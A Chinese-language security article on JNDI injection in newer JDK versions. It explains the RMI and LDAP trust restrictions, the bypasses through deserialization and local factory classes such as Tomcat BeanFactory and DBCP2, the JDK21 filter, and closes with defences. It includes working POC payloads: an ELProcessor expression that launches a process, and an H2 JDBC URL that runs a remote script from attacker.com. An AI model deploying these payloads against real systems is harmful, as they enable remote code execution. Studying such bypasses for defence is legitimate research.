JDK 高版本下 JNDI 注入深度剖析
字数 2138 2025-08-29 22:41:01
JDK高版本下JNDI注入深度剖析与绕过技术
1. JNDI注入基础概念
JNDI (Java Naming and Directory Interface) 是Java提供的一个API,用于访问命名和目录服务。JNDI注入漏洞是指攻击者通过控制JNDI查找的名称,导致应用执行恶意代码的安全漏洞。
2. JDK高版本中的安全限制
2.1 RMI协议限制
在JDK高版本中,RMI协议的JNDI注入受到以下限制:
-
RegistryContext#decodeObject方法中新增了条件判断:
- 默认
trustURLCodebase为false - 如果
ref.getFactoryClassLocation()返回非空值,会抛出异常
- 默认
-
关键代码路径:
// RegistryContext.java if (!trustURLCodebase && ref != null && ref.getFactoryClassLocation() != null) { throw new ConfigurationException(...); }
2.2 LDAP协议限制
LDAP协议的限制体现在:
-
DirectoryManager.getObjectInstance()方法中:
com.sun.jndi.ldap.object.trustURLCodebase默认为false- 阻止了远程类的加载
-
关键代码:
// DirectoryManager.java if (!TRUST_URL_CODE_BASE) { throw new ConfigurationException(...); }
3. JDK高版本中的绕过技术
3.1 LDAP协议绕过(JDK17)
在JDK17中,可以通过反序列化绕过:
- Obj.decodeObject方法中存在反序列化路径
- 关键条件:
if (!VersionHelper.isSerialDataAllowed()) { // JDK17中此条件为true,允许反序列化 } - 利用方式:
- 使用已知的gadget链(如CC6)
- 通过反序列化执行恶意代码
3.2 RMI协议绕过
RMI协议的绕过思路:
-
使
ref.getFactoryClassLocation()返回null- 实例化
ResourceRef时设置factoryLocation为null
- 实例化
-
利用本地存在的工厂类:
- 寻找实现
ObjectFactory接口的工厂类 - 利用工厂类的
getObjectInstance方法
- 寻找实现
3.3 可利用的工厂类分析
3.3.1 BeanFactory (org.apache.naming.factory.BeanFactory)
利用条件:
- Tomcat8依赖环境中存在
- 需要
ResourceRef实例
利用过程:
- 设置
beanClassName为javax.el.ELProcessor - 设置
forceString属性为x=eval - 通过反射调用
eval方法执行恶意表达式
POC示例:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
3.3.2 MemoryUserDatabaseFactory (org.apache.catalina.users.MemoryUserDatabaseFactory)
利用方式1:XXE文件读取
- 设置
pathname为恶意XML文件URL - 利用
open()方法解析XML时触发XXE
利用方式2:文件写入
- 结合
BeanFactory创建必要目录 - 通过
save()方法写入文件
3.3.3 BasicDataSourceFactory (org.apache.commons.dbcp2.BasicDataSourceFactory)
利用方式:
- 通过JDBC连接执行恶意操作
- 支持多种数据库:
- H2数据库:通过SQL注入执行命令
- Apache Derby:通过SQL加载JAR执行代码
POC示例:
ResourceRef ref = new ResourceRef("org.apache.commons.dbcp2.BasicDataSource", null, "", "", true, "org.apache.commons.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'"));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("password", "password"));
3.3.4 DruidDataSourceFactory (com.alibaba.druid.pool.DruidDataSourceFactory)
特殊能力:
- 支持初始化SQL语句执行
- 可用于加载恶意JAR或执行系统命令
3.3.5 GenericNamingResourcesFactory (org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory)
利用方式:
- 通过
setProperty方法调用setter - 可利用的setter:
org.apache.commons.configuration2.SystemConfiguration.setSystemPropertiescom.mchange.v2.c3p0.impl.PoolBackedDataSourceBase.setUserOverridesAsString(反序列化)
4. JDK21中的新限制
在JDK21中新增了更严格的限制:
- 使用
NamingManagerHelper.getObjectInstance替代原方法 - 新增
ObjectFactoriesFilter检查:- 只允许
jdk.naming.rmi/com.sun.jndi.rmi.**开头的包名 - 阻止了大多数第三方工厂类的利用
- 只允许
5. 防御建议
- 升级到最新JDK版本
- 限制JNDI查找的来源
- 禁用不必要的JNDI服务
- 使用安全管理器限制敏感操作
- 定期审计依赖库中的工厂类
6. 总结
JDK高版本虽然增加了对JNDI注入的防护,但通过精心构造的利用链仍然可能实现攻击。安全防护需要从多个层面进行,包括但不限于:
- 及时更新JDK和依赖库
- 严格控制反序列化操作
- 限制网络访问权限
- 实施最小权限原则
攻击者与防御者的对抗将持续演进,保持安全意识和技术更新是关键。